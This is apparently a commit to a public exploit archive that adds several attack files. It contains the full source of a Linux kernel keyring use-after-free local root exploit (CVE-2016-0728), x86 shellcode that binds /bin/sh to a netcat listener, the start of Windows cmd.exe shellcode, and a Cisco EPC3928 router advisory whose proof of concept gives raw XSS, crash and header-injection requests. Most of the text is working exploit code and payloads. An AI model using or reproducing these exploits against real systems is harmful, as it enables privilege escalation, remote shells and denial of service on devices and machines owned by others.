DB: 2016-06-08
5 new exploits Linux Kernel <= 4.4.1 - REFCOUNT Overflow/Use-After-Free in Keyrings Local Root Linux Kernel <= 4.4.1 - REFCOUNT Overflow/Use-After-Free in Keyrings Local Root (2) Windows x86 WinExec(_cmd.exe__0) Shellcode Linux x86 /bin/nc -le /bin/sh -vp13337 Shellcode (56 bytes) League of Legends Screensaver - Unquoted Service Path Privilege Escalation League of Legends Screensaver - Insecure File Permissions Privilege Escalation Cisco EPC 3928 - Multiple Vulnerabilities
This commit is contained in:
Offensive Security
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62962d90b0
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7 changed files with 748 additions and 153 deletions
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@ -35511,7 +35511,7 @@ id,file,description,date,author,platform,type,port
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39273,platforms/php/webapps/39273.txt,"CMSimple /2author/index.php color Parameter Remote Code Execution",2014-07-28,"Govind Singh",php,webapps,0
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39274,platforms/windows/dos/39274.py,"CesarFTP 0.99g - XCWD Denial of Service",2016-01-19,"Irving Aguilar",windows,dos,21
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39275,platforms/windows/dos/39275.txt,"PDF-XChange Viewer 2.5.315.0 - Shading Type 7 Heap Memory Corruption",2016-01-19,"Sébastien Morin",windows,dos,0
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39277,platforms/linux/local/39277.c,"Linux Kernel <= 4.4.1 - REFCOUNT Overflow/Use-After-Free in Keyrings Local Root",2016-01-19,"Perception Point Team",linux,local,0
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39277,platforms/linux/local/39277.c,"Linux Kernel <= 4.4.1 - REFCOUNT Overflow/Use-After-Free in Keyrings Local Root (2)",2016-01-19,"Perception Point Team",linux,local,0
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39278,platforms/hardware/remote/39278.txt,"Barracuda Web Application Firewall Authentication Bypass Vulnerability",2014-08-04,"Nick Hayes",hardware,remote,0
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39279,platforms/php/webapps/39279.txt,"WordPress wpSS Plugin 'ss_handler.php' SQL Injection Vulnerability",2014-08-06,"Ashiyane Digital Security Team",php,webapps,0
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39280,platforms/php/webapps/39280.txt,"WordPress HDW Player Plugin 'wp-admin/admin.php' SQL Injection Vulnerability",2014-05-28,"Anant Shrivastava",php,webapps,0
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@ -36079,3 +36079,8 @@ id,file,description,date,author,platform,type,port
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39897,platforms/asp/webapps/39897.txt,"Notilus Travel Solution Software 2012 R3 - SQL Injection",2016-06-06,"Alex Haynes",asp,webapps,80
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39898,platforms/php/webapps/39898.txt,"rConfig 3.1.1 - Local File Inclusion",2016-06-06,"Gregory Pickett",php,webapps,80
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39899,platforms/php/webapps/39899.txt,"Nagios XI 5.2.7 - Multiple Vulnerabilities",2016-06-06,Security-Assessment.com,php,webapps,80
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39900,platforms/win32/shellcode/39900.c,"Windows x86 WinExec(_cmd.exe__0) Shellcode",2016-06-07,"Roziul Hasan Khan Shifat",win32,shellcode,0
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39901,platforms/lin_x86/shellcode/39901.c,"Linux x86 /bin/nc -le /bin/sh -vp13337 Shellcode (56 bytes)",2016-06-07,sajith,lin_x86,shellcode,0
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39902,platforms/windows/local/39902.txt,"League of Legends Screensaver - Unquoted Service Path Privilege Escalation",2016-06-07,"Vincent Yiu",windows,local,0
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39903,platforms/windows/local/39903.txt,"League of Legends Screensaver - Insecure File Permissions Privilege Escalation",2016-06-07,"Vincent Yiu",windows,local,0
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39904,platforms/asp/webapps/39904.txt,"Cisco EPC 3928 - Multiple Vulnerabilities",2016-06-07,"Patryk Bogdan",asp,webapps,0
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Can't render this file because it is too large.
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296
platforms/asp/webapps/39904.txt
Executable file
296
platforms/asp/webapps/39904.txt
Executable file
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@ -0,0 +1,296 @@
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# Title: Cisco EPC 3928 Multiple Vulnerabilities
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# Vendor: http://www.cisco.com/
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# Vulnerable Version(s): Cisco Model EPC3928 DOCSIS 3.0 8x4 Wireless Residential Gateway
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# CVE References: CVE-2015-6401 / CVE-2015-6402 / CVE-2016-1328 / CVE-2016-1336 / CVE-2016-1337
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# Author: Patryk Bogdan from Secorda security team (http://secorda.com/)
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========
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Summary:
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In recent security research, Secorda security team has found multiple vulnerabilities affecting Cisco EPC3928 Wireless Residential Gateway. Variants of this product can also be affected.
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Using combination of several vulnerabilities, attacker is able to remotely download and decode boot configuration file, which you can see on PoC video below. The attacker is also able to reconfigure device in order to perform attacks on the home-user, inject additional data to modem http response or extract sensitive informations from the device, such as the Wi-Fi key.
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Until Cisco releases workarounds or patches, we recommend verify access to the web-based management panel and make sure that it is not reachable from the external network.
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Vulnerabilities:
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1) Unauthorized Command Execution
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2) Gateway Stored XSS
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3) Gateway Client List DoS
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4) Gateway Reflective XSS
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5) Gateway HTTP Corruption DoS
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6) "Stored" HTTP Response Injection
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7) Boot Information Disclosure
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========
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PoC:
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- Unathorized Command Execution
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#1 - Channel selection request:
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POST /goform/ChannelsSelection HTTP/1.1
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Host: 192.168.1.1
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User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: http://192.168.1.1/ChannelsSelection.asp
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Connection: keep-alive
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 24
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SAHappyUpstreamChannel=3
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#1 - Response:
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HTTP/1.0 200 OK
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Server: PS HTTP Server
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Content-type: text/html
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Connection: close
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<html lang="en"><head><title>RELOAD</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><script language="javascript" type="text/javascript" src="../active.js"></script><script language="javascript" type="text/javascript" src="../lang.js"></script><script language="javascript" type="text/javascript">var totaltime=120;function time(){document.formnow.hh.value=(" "+totaltime+" Seconds ");totaltime--;} function refreshStatus(){window.setTimeout("window.parent.location.href='http://192.168.1.1'",totaltime*1000);}mytime=setInterval('time()',1000);</script></head><body BGCOLOR="#CCCCCC" TEXT=black><form name="formnow"><HR><h1><script language="javascript" type="text/javascript">dw(msg_goform34);</script><a href="http://192.168.1.1/index.asp"><script language="javascript" type="text/javascript">dw(msg_goform35);</script></a><script language="javascript">refreshStatus();</script><input type="text" name="hh" style="background-color:#CCCCCC;font-size:36;border:none"></h1></form></body></html>
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#2 - Clear logs request:
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POST /goform/Docsis_log HTTP/1.1
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Host: 192.168.1.1
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User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: http://192.168.1.1/Docsis_log.asp
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Connection: keep-alive
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 41
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BtnClearLog=Clear+Log&SnmpClearEventLog=0
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#2 - Response:
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HTTP/1.0 302 Redirect
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Server: PS HTTP Server
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Location: http://192.168.1.1/Docsis_log.asp
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Content-type: text/html
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Connection: close
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- Gateway Stored and Reflective Cross Site Scripting
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Example #1:
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#1 – Stored XSS via username change request:
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POST /goform/Administration HTTP/1.1
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Host: 192.168.1.1
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User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: http://192.168.1.1/Administration.asp
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Cookie: Lang=en; SessionID=2719880
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Connection: keep-alive
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 165
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working_mode=0&sysname=<script>alert('XSS')</script>&sysPasswd=home&sysConfirmPasswd=home&save=Save+Settings&preWorkingMode=1&h_wlan_enable=enable&h_user_type=common
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#1 – Response:
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HTTP/1.0 302 Redirect
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Server: PS HTTP Server
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Location: http://192.168.1.1/Administration.asp
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Content-type: text/html
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Connection: close
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#2 – Redirect request:
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GET /Administration.asp HTTP/1.1
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Host: 192.168.1.1
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User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: http://192.168.1.1/Administration.asp
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Cookie: Lang=en; SessionID=2719880
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DNT: 1
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Connection: keep-alive
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#2 – Response:
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HTTP/1.1 200 OK
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Content-type: text/html
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Expires: Thu, 3 Oct 1968 12:00:00 GMT
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Pragma: no-cache
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Cache-Control: no-cache, must-revalidate
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Connection: close
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Content-Length: 15832
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
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<html lang="en">
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<head>
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(...)
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<tr>
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<td>
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<script language="javascript" type="text/javascript">dw(usertype);</script>
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</td>
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<td nowrap>
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<script>alert('XSS')</script>
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</TD>
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</tr>
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<tr>
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(...)
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Example #2:
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#1 – Reflected XSS via client list request:
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POST /goform/WClientMACList HTTP/1.1
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Host: 192.168.1.1
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User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: 192.168.1.1/WClientMACList.asp
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Cookie: Lang=en; SessionID=109660
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Connection: keep-alive
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 62
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sortWireless=mac&h_sortWireless=mac" onmouseover=alert(1) x="y
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#1 – Response:
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HTTP/1.0 302 Redirect
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Server: PS HTTP Server
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Location: 192.168.1.1/WClientMACList.asp
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Content-type: text/html
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Connection: close
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#2 – Redirect request:
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GET /WClientMACList.asp HTTP/1.1
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Host: 192.168.1.1
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User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: 192.168.1.1/WClientMACList.asp
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Cookie: Lang=en; SessionID=109660
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Connection: keep-alive
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#2 – Reponse:
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HTTP/1.1 200 OK
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Content-type: text/html
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Expires: Thu, 3 Oct 1968 12:00:00 GMT
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Pragma: no-cache
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Cache-Control: no-cache, must-revalidate
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Connection: close
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Content-Length: 7385
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
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<html lang="en">
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<head>
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(...)
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</table>
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</div>
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<input type="hidden" name="h_sortWireless" value="mac" onmouseover=alert(1) x="y" />
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</form>
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</body>
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</html>
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(...)
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- Gateway Client List Denial of Service
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Device will crash after sending following request.
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# HTTP Request
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POST /goform/WClientMACList HTTP/1.1
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Host: 192.168.1.1
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User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: http://192.168.1.1/WClientMACList.asp
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Cookie: Lang=en; SessionID=109660
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Connection: keep-alive
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 62
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sortWireless=mac&h_sortWireless=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
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- Gateway HTTP Corruption Denial of Service
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Device will crash after sending following request.
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# HTTP Request
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POST /goform/Docsis_system HTTP/1.1
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Host: 192.168.1.1
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User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: http://192.168.1.1/Docsis_system.asp
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Cookie: Lang=en; SessionID=348080
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Connection: keep-alive
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 106
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username_login=&password_login=&LanguageSelect=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&Language_Submit=0&login=Log+In
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- "Stored" HTTP Response Injection
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It is able to inject additional HTTP data to response, if string parameter of LanguageSelect won't be too long (in that case device will crash).
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Additional data will be stored in device memory and returned with every http response on port 80 until reboot.
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devil@hell:~$ curl -gi http://192.168.1.1/ -s | head -10
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HTTP/1.1 200 OK
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Content-type: text/html
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Expires: Thu, 3 Oct 1968 12:00:00 GMT
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Pragma: no-cache
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Cache-Control: no-cache, must-revalidate
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Connection: close
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Content-Length: 1469
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
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<html lang="en">
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devil@hell:~$ curl --data "username_login=&password_login=&LanguageSelect=en%0d%0aSet-Cookie: w00t&Language_Submit=0&login=Log+In" http://192.168.1.1/goform/Docsis_system -s > /dev/null
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devil@hell:~$ curl -gi http://192.168.1.1/ -s | head -10
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HTTP/1.1 200 OK
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Content-type: text/html
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Expires: Thu, 3 Oct 1968 12:00:00 GMT
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Pragma: no-cache
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Cache-Control: no-cache, must-revalidate
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Connection: close
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Set-Cookie: Lang=en
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Set-Cookie: w00t
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Set-Cookie: SessionID=657670
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Content-Length: 1469
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- Boot Information Disclosure
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In early booting phase, for a short period of time some administrator functions can be executed, and it is able to extract device configuration file. We wrote an exploit that crash the modem, and then retrieve and decode config in order to obtain users credentials.
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Exploit video PoC: https://www.youtube.com/watch?v=PHSx0s7Turo
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========
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CVE References:
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CVE-2015-6401
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CVE-2015-6402
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CVE-2016-1328
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CVE-2016-1336
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CVE-2016-1337
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Cisco Bug ID’s:
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CSCux24935
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CSCux24938
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CSCux24941
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CSCux24948
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CSCuy28100
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CSCux17178
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Read more on our blog:
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http://secorda.com/multiple-security-vulnerabilities-affecting-cisco-epc3928/
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53
platforms/lin_x86/shellcode/39901.c
Executable file
53
platforms/lin_x86/shellcode/39901.c
Executable file
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/*
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# Linux x86 /bin/nc -le /bin/sh -vp13337 shellcode(56bytes)
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# Author: Author: sajith
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# Tested on: i686 GNU/Linux
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# Shellcode Length: 56
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#SLAE - 750
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Disassembly of section .text:
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08048060 <_start>:
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8048060: 31 c0 xor eax,eax
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8048062: 50 push eax
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8048063: 68 33 33 33 37 push 0x37333333
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8048068: 68 2d 76 70 31 push 0x3170762d
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804806d: 89 e6 mov esi,esp
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804806f: 50 push eax
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8048070: 68 2f 2f 73 68 push 0x68732f2f
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8048075: 68 2f 62 69 6e push 0x6e69622f
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804807a: 68 2d 6c 65 2f push 0x2f656c2d
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804807f: 89 e7 mov edi,esp
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8048081: 50 push eax
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8048082: 68 2f 2f 6e 63 push 0x636e2f2f
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8048087: 68 2f 62 69 6e push 0x6e69622f
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804808c: 89 e3 mov ebx,esp
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804808e: 50 push eax
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804808f: 56 push esi
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8048090: 57 push edi
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8048091: 53 push ebx
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8048092: 89 e1 mov ecx,esp
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8048094: b0 0b mov al,0xb
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8048096: cd 80 int 0x80
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gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
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*/
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#include<stdio.h>
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#include<string.h>
|
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unsigned char code[] = \
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|
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"\x31\xc0\x50\x68\x33\x33\x33\x37\x68\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x50\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80";
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main()
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{
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|
||||
printf("Shellcode Length: %d\n", strlen(code));
|
||||
|
||||
int (*ret)() = (int(*)())code;
|
||||
|
||||
ret();
|
||||
|
||||
}
|
||||
|
|
@ -6,11 +6,11 @@
|
|||
*/
|
||||
|
||||
/* CVE-2016-0728 local root exploit
|
||||
modified by Federico Bento to read kernel symbols from /proc/kallsyms
|
||||
props to grsecurity/PaX for preventing this in so many ways
|
||||
modified by Federico Bento to read kernel symbols from /proc/kallsyms
|
||||
props to grsecurity/PaX for preventing this in so many ways
|
||||
|
||||
$ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
|
||||
$ ./cve_2016_072 PP_KEY */
|
||||
$ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
|
||||
$ ./cve_2016_072 PP_KEY */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
|
@ -25,8 +25,7 @@
|
|||
#include <sys/msg.h>
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (*
|
||||
_prepare_kernel_cred)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
|
|
@ -37,183 +36,177 @@ _prepare_kernel_cred prepare_kernel_cred;
|
|||
|
||||
|
||||
struct key_type {
|
||||
char * name;
|
||||
size_t datalen;
|
||||
void * vet_description;
|
||||
void * preparse;
|
||||
void * free_preparse;
|
||||
void * instantiate;
|
||||
void * update;
|
||||
void * match_preparse;
|
||||
void * match_free;
|
||||
void * revoke;
|
||||
void * destroy;
|
||||
char * name;
|
||||
size_t datalen;
|
||||
void * vet_description;
|
||||
void * preparse;
|
||||
void * free_preparse;
|
||||
void * instantiate;
|
||||
void * update;
|
||||
void * match_preparse;
|
||||
void * match_free;
|
||||
void * revoke;
|
||||
void * destroy;
|
||||
};
|
||||
|
||||
/* thanks spender - Federico Bento */
|
||||
static unsigned long get_kernel_sym(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
int ret;
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
int ret;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
fprintf(stdout, "Unable to obtain symbol listing!\n");
|
||||
exit(0);
|
||||
}
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
fprintf(stdout, "Unable to obtain symbol listing!\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
ret = 0;
|
||||
while(ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fprintf(stdout, "[+] Resolved %s to %p\n", name, (void *)addr);
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
ret = 0;
|
||||
while(ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fprintf(stdout, "[+] Resolved %s to %p\n", name, (void *)addr);
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
return 0;
|
||||
fclose(f);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void userspace_revoke(void * key) {
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
}
|
||||
|
||||
int main(int argc, const char *argv[]) {
|
||||
const char *keyring_name;
|
||||
size_t i = 0;
|
||||
unsigned long int l = 0x100000000/2;
|
||||
key_serial_t serial = -1;
|
||||
pid_t pid = -1;
|
||||
struct key_type * my_key_type = NULL;
|
||||
const char *keyring_name;
|
||||
size_t i = 0;
|
||||
unsigned long int l = 0x100000000/2;
|
||||
key_serial_t serial = -1;
|
||||
pid_t pid = -1;
|
||||
struct key_type * my_key_type = NULL;
|
||||
|
||||
struct {
|
||||
long mtype;
|
||||
char mtext[STRUCT_LEN];
|
||||
} msg = {0x4141414141414141, {0}};
|
||||
int msqid;
|
||||
struct {
|
||||
long mtype;
|
||||
char mtext[STRUCT_LEN];
|
||||
} msg = {0x4141414141414141, {0}};
|
||||
int msqid;
|
||||
|
||||
if (argc != 2) {
|
||||
puts("usage: ./keys <key_name>");
|
||||
return 1;
|
||||
}
|
||||
if (argc != 2) {
|
||||
puts("usage: ./keys <key_name>");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());
|
||||
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
|
||||
prepare_kernel_cred =
|
||||
(_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
|
||||
if(commit_creds == NULL || prepare_kernel_cred == NULL) {
|
||||
commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
|
||||
prepare_kernel_cred =
|
||||
(_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
|
||||
if(commit_creds == (_commit_creds)0xffffffff810bb050
|
||||
|| prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)
|
||||
puts("[-] You probably need to change the address of
|
||||
commit_creds and prepare_kernel_cred in source");
|
||||
}
|
||||
printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());
|
||||
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
|
||||
prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
|
||||
if(commit_creds == NULL || prepare_kernel_cred == NULL) {
|
||||
commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
|
||||
prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
|
||||
if(commit_creds == (_commit_creds)0xffffffff810bb050 || prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)
|
||||
puts("[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source");
|
||||
}
|
||||
|
||||
my_key_type = malloc(sizeof(*my_key_type));
|
||||
my_key_type = malloc(sizeof(*my_key_type));
|
||||
|
||||
my_key_type->revoke = (void*)userspace_revoke;
|
||||
memset(msg.mtext, 'A', sizeof(msg.mtext));
|
||||
my_key_type->revoke = (void*)userspace_revoke;
|
||||
memset(msg.mtext, 'A', sizeof(msg.mtext));
|
||||
|
||||
// key->uid
|
||||
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
|
||||
//key->perm
|
||||
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
|
||||
// key->uid
|
||||
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
|
||||
//key->perm
|
||||
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
|
||||
|
||||
//key->type
|
||||
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
|
||||
//key->type
|
||||
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
|
||||
|
||||
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
|
||||
perror("msgget");
|
||||
exit(1);
|
||||
}
|
||||
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
|
||||
perror("msgget");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
keyring_name = argv[1];
|
||||
keyring_name = argv[1];
|
||||
|
||||
/* Set the new session keyring before we start */
|
||||
/* Set the new session keyring before we start */
|
||||
|
||||
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
|
||||
if (serial < 0) {
|
||||
perror("keyctl");
|
||||
return -1;
|
||||
}
|
||||
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
|
||||
if (serial < 0) {
|
||||
perror("keyctl");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL |
|
||||
KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
|
||||
perror("keyctl");
|
||||
return -1;
|
||||
}
|
||||
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
|
||||
perror("keyctl");
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
puts("[+] Increfing...");
|
||||
for (i = 1; i < 0xfffffffd; i++) {
|
||||
if (i == (0xffffffff - l)) {
|
||||
l = l/2;
|
||||
sleep(5);
|
||||
}
|
||||
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
|
||||
perror("[-] keyctl");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
sleep(5);
|
||||
/* here we are going to leak the last references to overflow */
|
||||
for (i=0; i<5; ++i) {
|
||||
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
|
||||
perror("[-] keyctl");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
puts("[+] Increfing...");
|
||||
for (i = 1; i < 0xfffffffd; i++) {
|
||||
if (i == (0xffffffff - l)) {
|
||||
l = l/2;
|
||||
sleep(5);
|
||||
}
|
||||
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
|
||||
perror("[-] keyctl");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
sleep(5);
|
||||
/* here we are going to leak the last references to overflow */
|
||||
for (i=0; i<5; ++i) {
|
||||
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
|
||||
perror("[-] keyctl");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
puts("[+] Finished increfing");
|
||||
puts("[+] Forking...");
|
||||
/* allocate msg struct in the kernel rewriting the freed keyring
|
||||
object */
|
||||
for (i=0; i<64; i++) {
|
||||
pid = fork();
|
||||
if (pid == -1) {
|
||||
perror("[-] fork");
|
||||
return -1;
|
||||
}
|
||||
puts("[+] Finished increfing");
|
||||
puts("[+] Forking...");
|
||||
/* allocate msg struct in the kernel rewriting the freed keyring object */
|
||||
for (i=0; i<64; i++) {
|
||||
pid = fork();
|
||||
if (pid == -1) {
|
||||
perror("[-] fork");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (pid == 0) {
|
||||
sleep(2);
|
||||
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
|
||||
perror("[-] msgget");
|
||||
exit(1);
|
||||
}
|
||||
for (i = 0; i < 64; i++) {
|
||||
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
|
||||
perror("[-] msgsnd");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
sleep(-1);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
if (pid == 0) {
|
||||
sleep(2);
|
||||
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
|
||||
perror("[-] msgget");
|
||||
exit(1);
|
||||
}
|
||||
for (i = 0; i < 64; i++) {
|
||||
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
|
||||
perror("[-] msgsnd");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
sleep(-1);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
puts("[+] Finished forking");
|
||||
sleep(5);
|
||||
puts("[+] Finished forking");
|
||||
sleep(5);
|
||||
|
||||
/* call userspace_revoke from kernel */
|
||||
puts("[+] Caling revoke...");
|
||||
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
|
||||
perror("[+] keyctl_revoke");
|
||||
}
|
||||
/* call userspace_revoke from kernel */
|
||||
puts("[+] Caling revoke...");
|
||||
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
|
||||
perror("[+] keyctl_revoke");
|
||||
}
|
||||
|
||||
printf("uid=%d, euid=%d\n", getuid(), geteuid());
|
||||
execl("/bin/sh", "/bin/sh", NULL);
|
||||
printf("uid=%d, euid=%d\n", getuid(), geteuid());
|
||||
execl("/bin/sh", "/bin/sh", NULL);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
171
platforms/win32/shellcode/39900.c
Executable file
171
platforms/win32/shellcode/39900.c
Executable file
|
|
@ -0,0 +1,171 @@
|
|||
/*
|
||||
# Title : Windows x86 WinExec("cmd.exe",0) shellcode
|
||||
# Date : 07/06/2016
|
||||
# Author : Roziul Hasan Khan Shifat
|
||||
# Tested On : Windows 7 Professional x86
|
||||
*/
|
||||
|
||||
/*
|
||||
To Compile:
|
||||
--------------
|
||||
|
||||
$nasm -f win32 winexec.asm -o exec.obj
|
||||
|
||||
|
||||
Linking:
|
||||
----------
|
||||
$ "C:\Program Files\CodeBlocks\MinGW\bin\ld.exe" -o winexec.exe exec.obj
|
||||
|
||||
|
||||
*/
|
||||
|
||||
/*
|
||||
|
||||
section .text
|
||||
global _start
|
||||
_start:
|
||||
|
||||
;Finding base address of kernel32.dll
|
||||
|
||||
xor ecx,ecx
|
||||
mov eax,[fs:0x30] ;loading PEB(Process Environment Block) in Eax
|
||||
mov eax,[eax+0xc] ;Eax=PEB->Ldr
|
||||
mov esi,[eax+0x14] ;Eax=Peb->Ldr.InMemOrderModuleList
|
||||
lodsd ;Eax=second module of InMemOrderModuleList (ntdll.dll)
|
||||
xchg eax,esi ;Eax=Esi ,Esi=Eax
|
||||
lodsd ;Eax=third module of InMemOrderModuleList (kernel32.dll)
|
||||
mov ebx,[eax+0x10] ;Ebx=base Address of Kernel32.dll (PVOID Dllbase)
|
||||
|
||||
;-------------------------------------------------------------------------------------------------------
|
||||
|
||||
|
||||
|
||||
;Finding Export table of Kernel32.dll
|
||||
|
||||
mov edx,[ebx+0x3c] ;(kernel32.dll base address+0x3c)=DOS->e_lfanew
|
||||
add edx,ebx ;(DOS->e_lfanew+base address of kernel32.dll)=PE Header
|
||||
